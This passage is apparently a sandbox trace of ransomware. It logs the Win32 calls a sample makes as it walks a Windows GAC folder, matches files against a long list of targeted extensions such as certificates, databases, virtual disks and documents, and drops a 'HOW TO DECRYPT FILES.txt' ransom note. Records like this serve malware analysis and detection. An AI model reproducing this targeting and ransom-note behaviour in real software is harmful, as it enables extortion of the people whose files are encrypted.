(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.gz") returned 0 [0100.202] lstrlenA (lpString="*.gz") returned 4 [0100.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.mkv") returned 0 [0100.202] lstrlenA (lpString="*.mkv") returned 5 [0100.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.eml") returned 0 [0100.202] lstrlenA (lpString="*.eml") returned 5 [0100.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.msg") returned 0 [0100.202] lstrlenA (lpString="*.msg") returned 5 [0100.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.edb") returned 0 [0100.202] lstrlenA (lpString="*.edb") returned 5 [0100.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.accdb") returned 0 [0100.202] lstrlenA (lpString="*.accdb") returned 7 [0100.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.odb") returned 0 [0100.202] lstrlenA (lpString="*.odb") returned 5 [0100.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.java") returned 0 [0100.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.asm") returned 0 [0100.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.pfx") returned 0 [0100.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.pem") returned 0 [0100.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.p12") returned 0 [0100.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.gpg") returned 0 [0100.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.vsd") returned 0 [0100.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.odg") returned 0 [0100.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.raw") returned 0 [0100.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.nef") returned 0 [0100.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.svg") returned 0 [0100.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.psd") returned 0 [0100.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.vmx") returned 0 [0100.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.vmdk") returned 0 [0100.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.vdi") returned 0 [0100.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.lay6") returned 0 [0100.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.mpeg") returned 0 [0100.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.djvu") returned 0 [0100.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.tiff") returned 0 [0100.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.backup") returned 0 [0100.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.pdf") returned 0 [0100.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.cert") returned 0 [0100.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.docm") returned 0 [0100.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.xlsm") returned 0 [0100.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.dwg") returned 0 [0100.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.nd") returned 0 [0100.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.tlg") returned 0 [0100.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.lgb") returned 0 [0100.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.mov") returned 0 [0100.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.xdw") returned 0 [0100.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.ods") returned 0 [0100.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.wav") returned 0 [0100.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.mp3") returned 0 [0100.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.aiff") returned 0 [0100.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.flac") returned 0 [0100.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.m4a") returned 0 [0100.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.csv") returned 0 [0100.206] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbc42e01, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0xacec9500, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x4504b265, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", cAlternateFileName="")) returned 0 [0100.206] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.206] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 0 [0100.206] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.206] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c642e74, dwReserved1=0x72006c, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources", cAlternateFileName="MID7A5~1.RES")) returned 1 [0100.206] lstrcmpA (lpString1=".", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources") returned -1 [0100.206] lstrcmpA (lpString1="..", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources") returned -1 [0100.206] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.206] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources" [0100.207] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.207] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.207] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.207] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.208] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.208] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0_en_31bf3856ad364e35", cAlternateFileName="100~1.0_E")) returned 1 [0100.208] lstrcmpA (lpString1=".", lpString2="1.0.0.0_en_31bf3856ad364e35") returned -1 [0100.208] lstrcmpA (lpString1="..", lpString2="1.0.0.0_en_31bf3856ad364e35") returned -1 [0100.208] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\*.*") returned="*.*" [0100.208] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\", lpString2="1.0.0.0_en_31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35" [0100.208] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.208] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.208] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.208] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.208] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.209] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", cAlternateFileName="")) returned 1 [0100.209] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.209] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll") returned -1 [0100.209] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll") returned -1 [0100.209] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll") returned -1 [0100.209] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\*.*") returned="*.*" [0100.209] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\" [0100.209] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\") returned="" [0100.209] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.209] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.commands.updatediagreport.resources\\1.0.0.0_en_31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.209] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.commands.updatediagreport.resources\\1.0.0.0_en_31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.210] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.212] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.212] CloseHandle (hObject=0x90) returned 1 [0100.212] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll" [0100.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.ems") returned 0 [0100.213] lstrlenA (lpString="*.ems") returned 5 [0100.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.db") returned 0 [0100.213] lstrlenA (lpString="*.db") returned 4 [0100.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.dbf") returned 0 [0100.213] lstrlenA (lpString="*.dbf") returned 5 [0100.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.myox") returned 0 [0100.213] lstrlenA (lpString="*.myox") returned 6 [0100.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.myo") returned 0 [0100.213] lstrlenA (lpString="*.myo") returned 5 [0100.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.qbw") returned 0 [0100.213] lstrlenA (lpString="*.qbw") returned 5 [0100.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.qbb") returned 0 [0100.240] lstrlenA (lpString="*.qbb") returned 5 [0100.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", pszSpec="*.qbm") returned 0 [0100.240] lstrlenA (lpString="*.qbm") returned 5 [0100.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.resources.dll", 